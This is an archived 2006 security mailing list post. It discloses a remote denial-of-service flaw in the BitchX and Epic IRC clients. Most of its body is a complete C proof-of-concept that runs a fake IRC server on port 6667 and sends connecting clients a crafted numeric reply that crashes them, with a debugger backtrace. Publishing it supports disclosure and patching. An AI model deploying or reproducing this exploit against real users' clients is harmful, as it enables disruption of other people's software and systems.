Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | [EXPL] BitchX and Epic Boundary Check Error DoS (Exploit) |
|---|---|
| Date: | 27 Jun 2006 11:21:45 +0200 |
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html - - - - - - - - - BitchX and Epic Boundary Check Error DoS (Exploit) ------------------------------------------------------------------------ SUMMARY <http://www.bitchx.org> BitchX and <http://www.epicsol.org/> Epic are console based IRC clients for unix. Improper handling of input size allowz attackers to cause a DoS condition with the BitchX and Epic IRC clients. DETAILS Exploit: // BitchX (epic) =<1.1-final | do_hook() Boundary Check Error Remote DoS ///////////////////////////////////////////////////////////////////////// // Federico L. Bossi Bonin // fbossi<at>netcomm<dot>com<dot>ar // #0 0x080a3fcc in BX_do_hook (which=9999999, format=0x8119077 "%s %s") at hook.c:865 // #1 0x080d013b in numbered_command (from=0xbfbfe031 'A' <repeats 200 times>, // comm=-9999999, ArgList=0xbfbfd788) at numbers.c:1413 // #2 0x080d7d02 in parse_server (orig_line=0xbfbfe030 ":", 'A' <repeats 199 times>...) at parse.c:1912 // #3 0x080de3c2 in do_server (rd=0xbfbfe8a0, wr=0xbfbfe880) at server.c:584 // #4 0x080b030f in BX_io (what=0x810b85a "main") at irc.c:1319 // #5 0x080b09da in main (argc=6, argv=0xbfbfe9d4, envp=0xbfbfe9f0) at irc.c:1687 // #6 0x0804aec2 in ___start () //greats to nitr0us, beck, gruba, samelat, ran, etc.. #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #define PORT 6667 #define LEN 100 int intalign=-999; //use negative number void sendbuff(int sock) { char ptr[LEN]; char buffer[2048]; bzero(ptr,LEN); bzero(buffer,2048); memset(ptr,0x41,sizeof(ptr)-1); sprintf(buffer,":%s %i %s %s\n",ptr,intalign,ptr,ptr); write(sock,buffer,sizeof(buffer)); } int main() { struct sockaddr_in srv_addr, client; int len,pid,sockfd,sock; sockfd = socket(AF_INET, SOCK_STREAM, 0); if (sockfd < 0) { perror("error socket()"); exit(1); } bzero((char *) &srv_addr, sizeof(srv_addr)); srv_addr.sin_family = AF_INET; srv_addr.sin_addr.s_addr = INADDR_ANY; srv_addr.sin_port = htons(PORT); if (bind(sockfd, (struct sockaddr *) &srv_addr,sizeof(srv_addr)) < 0) { perror("error bind()"); exit(1); } printf("BitchX (epic) =<1.1-final | do_hook() Boundary Check Error Remote DoS\n"); printf("====================================================================\n"); printf("Listening on port %i\n",PORT); listen(sockfd,5); len = sizeof(client); while (1) { sock = accept(sockfd, (struct sockaddr *) &client, &len); if (sock < 0) { perror("error accept()"); exit(1); } pid = fork(); if (pid < 0) { perror("fork()"); exit(1); } if (pid == 0) { close(sockfd); printf("Conection from %s\n",inet_ntoa(client.sin_addr)); sendbuff(sock); exit(0); } else close(sock); } return 0; } /* EoF */ ADDITIONAL INFORMATION The information has been provided by <mailto:fbossi@netcomm.com.ar> Federico L. Bossi Bonin. ======================================== This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com ==================== ==================== DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | [TOOL] lorcon - Loss of Radio Connectivity, SecuriTeam |
|---|---|
| Next by Date: | [EXPL] Windows RRAS Stack Overflow (Exploit, MS06-025), SecuriTeam |
| Previous by Thread: | [TOOL] lorcon - Loss of Radio Connectivity, SecuriTeam |
| Next by Thread: | [EXPL] Windows RRAS Stack Overflow (Exploit, MS06-025), SecuriTeam |
| Indexes: | [Date] [Thread] [Top] [All Lists] |